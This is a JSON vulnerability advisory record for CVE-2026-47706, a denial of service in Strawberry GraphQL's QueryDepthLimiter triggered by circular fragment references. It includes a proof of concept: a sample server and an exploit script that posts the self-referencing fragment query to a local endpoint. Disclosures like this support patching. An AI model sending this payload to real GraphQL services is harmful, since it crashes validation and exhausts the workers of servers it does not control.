{"id":"CVE-2026-47706","aliases":["CVE-2026-47706","GHSA-qfwv-87qj-98xq","PYSEC-2026-2283"],"related":[],"kind":"vulnerability","state":"published","title":"Strawberry GraphQL has a Circular Fragment Reference DOS","summary":"Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Strawberry GraphQL is a library for creating GraphQL APIs. In versions 0.71.0 through 0.315.6, the QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process. Version 0.315.7 patches the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -> User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -> B -> A -> B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools","format":"markdown","source":"ghsa"},{"lang":"es","text":"Strawberry GraphQL es una biblioteca para crear APIs de GraphQL. En las versiones 0.71.0 a la 0.315.6, la extensión QueryDepthLimiter es vulnerable a un DoS a nivel de aplicación debido a la falta de detección de ciclos en las propagaciones de fragmentos. Cuando una consulta contiene referencias circulares de fragmentos, la función determine_depth entra en una recursión infinita, lo que lleva a un RecursionError y bloquea el proceso de validación. La versión 0.315.7 corrige el problema.","source":"nvd"}],"published":"2026-06-04T14:06:48.220Z","modified":"2026-07-22T20:10:00.127Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-400","CWE-674"],"affected":[{"ranges":[{"version":">= 0.71.0, < 0.315.7","status":"affected"}],"vendor":"strawberry-graphql","product":"strawberry","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.71.0","status":"affected","fixed":"0.315.7"}],"ecosystem":"PyPI","package":"strawberry-graphql","purl":"pkg:pypi/strawberry-graphql","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"0.71.0","fixed":"0.315.7"}],"vendor":"strawberry","product":"strawberry_graphql","cpe":"cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0.71.0","status":"affected","fixed":"0.315.7"}],"ecosystem":"PyPI","package":"strawberry-graphql","purl":"pkg:pypi/strawberry-graphql","source":"pysec"}],"references":[{"url":"https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7","tags":["advisory","product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47706","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/strawberry-graphql/strawberry","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-04T15:38:17.270Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-47706","url":"https://www.cve.org/CVERecord?id=CVE-2026-47706","licence":"CVE Terms of Use","modified":"2026-06-04T15:38:40.821Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qfwv-87qj-98xq","url":"https://github.com/advisories/GHSA-qfwv-87qj-98xq","licence":"CC-BY-4.0","modified":"2026-07-13T07:26:46.578Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-47706","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47706","licence":"Public domain","modified":"2026-07-22T20:10:00.127Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2283","url":"https://osv.dev/vulnerability/PYSEC-2026-2283","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:44.052Z"}],"updatedAt":"2026-11-25T22:59:23.705Z","epss":{"score":0.00296,"percentile":0.23916,"date":"2026-12-01T12:00:22.000Z"}}